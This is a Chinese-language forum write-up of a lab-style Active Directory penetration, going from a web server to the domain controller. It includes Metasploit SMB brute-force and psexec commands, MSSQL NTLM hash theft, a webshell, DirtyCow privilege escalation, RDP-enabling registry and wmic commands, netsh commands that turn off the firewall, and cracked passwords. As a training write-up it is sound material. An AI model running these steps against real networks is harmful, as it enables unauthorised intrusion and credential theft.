奇安信攻防社区-记一次曲折的域渗透

记一次曲折的域渗透

0x01 环境信息
=========

配置信息

centos

IP1：192.168.1.132

IP2：192.168.93.100

应用：web

ubuntu

IP：192.168.93.120

Win server2012

IP：192.168.93.10

Win server2008

IP：192.168.93.20

Win 7

IP：192.168.93.30

kali

IP：192.168.1.128

0x02 WEB渗透
==========

2.1 端口扫描
--------

192.168.1.132

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-0a2f554d0128a472cd2eac9b5ff920b746ca1bb9.png)

发现存在80端口，访问发现网站

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-81b9d6fe1c8ba8866ff0d66a95289320b97dd973.png)

2.2 目录扫描
--------

发现1.php文件是phpinfo

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-b58b8790d7a869c4be661a4689ae170c7c27ad4a.png)

README中找到版本信息

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-065c92e68f409e6d27b7f6ef633e8bd7128211a9.png)

发现configuration.php文件

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-1cdbc2b52c98f8692bbce74898c21bb81931cae5.png)

发现该文件泄漏的数据库用户名和密码，以及数据库名等信息

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-1687b38303b8c587f21dece0d9c4777e6d5cf205.png)

2.3 后台登陆
--------

3306端口开放，尝试远程登录目标mysql

在am2zu\_users中找到用户名密码文件

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-46ceaea9970bcbb8c10ceba68ae63f41579304eb.png)

根据官网给出的加盐密码可以创建一个用户

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-cc9139b1aace2ff55de1e7019261beb3d9ce9581.png)

这里创建一个admin123的用户密码是admin

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-292c45d16cc363371a97cfe43eab667fd5af36c8.png)

成功登陆到后台

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-abebce38bccd1e194c77314ba3ad465a02f3f49d.png)

2.4 Getshell
------------

后台发现修改文件内容

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-18353a02bb3dc965f6e6e77b25a2f8947c813047.png)

写入一句话，位置templates/beez3/index.php

连接一句话

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-5c501b122c87f383e9d55fc62f8b88286e24b605.png)

2.5 绕过disable
-------------

连接后发现不能执行命令，查看disable\_funtions

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-22252c7684acb4a508a7366cebd0506523ab1d14.png)

利用蚁剑绕过disable

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-31749844c6ff259ef8c4bcb16653c42268643aee.png)

发现真实WEB服务IP地址为192.168.93.120

而centos则是提供反向代理的Nginx服务器192.168.93.100

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-2055cbf4612acc0d50ed33a6c5fd237c14636dac.png)

在mysql中发现用户名密码

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-e3394f01b6a0eda6a36b75bef745bcf01636c447.png)

2.6 远程登录
--------

ssh远程登录、查看内核和ip

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-eacabf2037871526416b41c6c725d409df6c6af3.png)

登录后是低权限用户，使用脏牛提权

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-81f3ae850d38a2981840d03b47a01153da2580cc.png)

查看用户权限

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-a27e90023ac89c30dcfe8a99a87781461556caa1.png)

0x03 后渗透
========

3.1 上线msf
---------

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-32fdb9ca8645a74591dd0bd95f9187dc4dd7481c.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-f966b9116f445d15db4a07d1554c948aa7c299ed.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-63ea276381b352e4a310307004f024382ad98f83.png)

添加内网路由

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-d0fd2a8d1810424f4279a84bff75f86a082527b4.png)

新建一个socket代理

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-aac55dbe4a85c1eb92381c1f784a0e4b7be9ed30.png)

3.2 内网扫描
--------

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-5cf0178d4441653433c776f3ecdc1ea1e8458745.png)

3.3 win7（192.168.93.30）
-----------------------

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-d276c6deef1090c47b6375ea0434cec888927f46.png)

开放了445端口，这里尝试使用scanner模块SMB远程登陆爆破

use auxiliary/scanner/smb/smb\_login  
set rhosts 192.168.93.30  
set PASS\_FILE /root/Desktop/SMB.txt  
set SMBUSER administrator

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-16d209e02354898cded35c7cb7a3520be5f45a5d.png)

这里爆破出密码123qwe!ASD

**PSEXEC\*\***传递\*\*

use exploit/windows/smb/psexec  
set payload windows/x64/meterpreter/bind\_tcp  
set rhosts 192.168.93.30  
set smbuser administrator  
set smbpass 123qwe!ASD

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-b3f3100a831006c6a5314a327aca0ea96fb533ee.png)

信息收集

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-cae8fff69299cffb8cb5d589d6c3d2714e09748d.png)  
这里拿到win7权限没有发现有用的信息

3.4 win2008（192.168.93.20）
--------------------------

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-f6f7c4a2b91c8c988536a001f55f76ac6e3e6468.png)

这里可以看到开放了1433端口

使用之前得到的mssql数据库密码可以登陆

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-71b689bdd56df9dad364ecf25aa81225d77d9f8b.png)

使用[Responder.py](https://github.com/SpiderLabs/Responder)来伪造smb服务器来获取hash，然后利用mssql来进行触发验证

使用auxiliary/admin/mssql/mssql\_ntlm\_stealer，执行xp\_dirtree，触发UNC

最后使用john破解密码

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-4f1f1e14de035cdffead2636bd2ecce8dd2ba692.png)

使用vmiexec获取命令行

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-a57fb364a7c87324bfcbfcc99cb8983acbacc448.png)

**开启3389**

设置远程桌面端口

reg add "HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp" /t REG\_DWORD /v portnumber /d 3389 /f

开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

检查端口状态

netstat -an|find "3389"

关闭远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-12b6f26a7e172b5d979e1ea58d680c1490a4d4c5.png)

远程登陆，并上传一个正向监听

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-5c12d487b24bb92c8f9b1e30180126374b3f8e93.png)

成功上线

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-224bd46957e263b1f1ac899bcccc93913ef8cc16.png)

首先提权到SYSTEM

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-9e13a38c243e9e8c577cfeabf997e70be13ac7dd.png)

kiwi和hashdump查看凭证

获得域用户Administrator的密码为zxcASDqw123!!

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-6b71dc93268eb594608b03490527532d2b5f5603.png)

3.5 Win2012-域控（192.168.93.10）
-----------------------------

取得密码这里直接wmiexec获取cmd

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-9659270d42ef9ab30548592490d94bff25ce91e5.png)

开启3389

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-130d9706ed5eee486c039818d9e95dfc97d229fa.png)

关闭防火墙

netsh firewall set opmode mode=disable #此处使用这条成功关闭防火墙  
netsh advfirewall set allprofiles state off

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-cdf2066372ef44806de5f1a82be83998b5b009ad.png)

使用windows登陆最终拿下域控，最后做一下迁移和域信息收集

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-33bb4f9d37353cd1e9e1060118be392caa29fc90.png)

发表于 2022-05-27 14:24:02
阅读 ( 7023 )
分类：漏洞分析

记一次曲折的域渗透

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